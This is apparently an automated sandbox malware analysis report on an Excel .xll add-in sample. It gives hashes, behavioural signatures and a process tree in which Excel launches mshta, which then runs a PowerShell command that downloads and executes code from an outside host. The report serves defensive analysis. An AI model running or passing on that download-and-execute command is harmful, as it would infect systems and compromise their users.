Analysis
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max time kernel
135s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 22:23
Static task
static1
Behavioral task
behavioral1
Sample
4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9.xll
Resource
win10v2004-20240508-en
Behavioral task
behavioral2
Sample
4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9.xll
Resource
win11-20240508-en
General
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Target
4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9.xll
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Size
12KB
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MD5
98aaca320e0f19a57d606415e5b2dd83
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SHA1
1a1211bc9bf9a7df0844f160f25e04bb0f55c1c6
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SHA256
4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9
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SHA512
f48a48f3d893fceb3282d29c7d1324513f7c21795009f5903981d0fcf1b1471e520dd802c483e19c45d49a1269593b83f4b230fae96c255b2cd14b37f2eb5ab1
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SSDEEP
192:TL29RBzDzeobchBj8JONSONuMpruQrEPEjr7Ahp:P29jnbcvYJOvhuQvr7Cp
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4772 2472 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 33 852 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 2472 EXCEL.EXE 2472 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2472 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 852 powershell.exe 852 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 852 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 2472 EXCEL.EXE 2472 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 2472 EXCEL.EXE 2472 EXCEL.EXE 2472 EXCEL.EXE 2472 EXCEL.EXE 2472 EXCEL.EXE 2472 EXCEL.EXE 2472 EXCEL.EXE 2472 EXCEL.EXE 2472 EXCEL.EXE 2472 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 2472 wrote to memory of 4772 2472 EXCEL.EXE mshta.exe PID 2472 wrote to memory of 4772 2472 EXCEL.EXE mshta.exe PID 2472 wrote to memory of 4772 2472 EXCEL.EXE mshta.exe PID 4772 wrote to memory of 852 4772 mshta.exe powershell.exe PID 4772 wrote to memory of 852 4772 mshta.exe powershell.exe PID 4772 wrote to memory of 852 4772 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2472 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:852
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\4463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9.xll
Filesize12KB
MD598aaca320e0f19a57d606415e5b2dd83
SHA11a1211bc9bf9a7df0844f160f25e04bb0f55c1c6
SHA2564463493da25ef32b3068f58973b166a4a85bbad4f54fc43dcaa34ffc68bd24a9
SHA512f48a48f3d893fceb3282d29c7d1324513f7c21795009f5903981d0fcf1b1471e520dd802c483e19c45d49a1269593b83f4b230fae96c255b2cd14b37f2eb5ab1
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82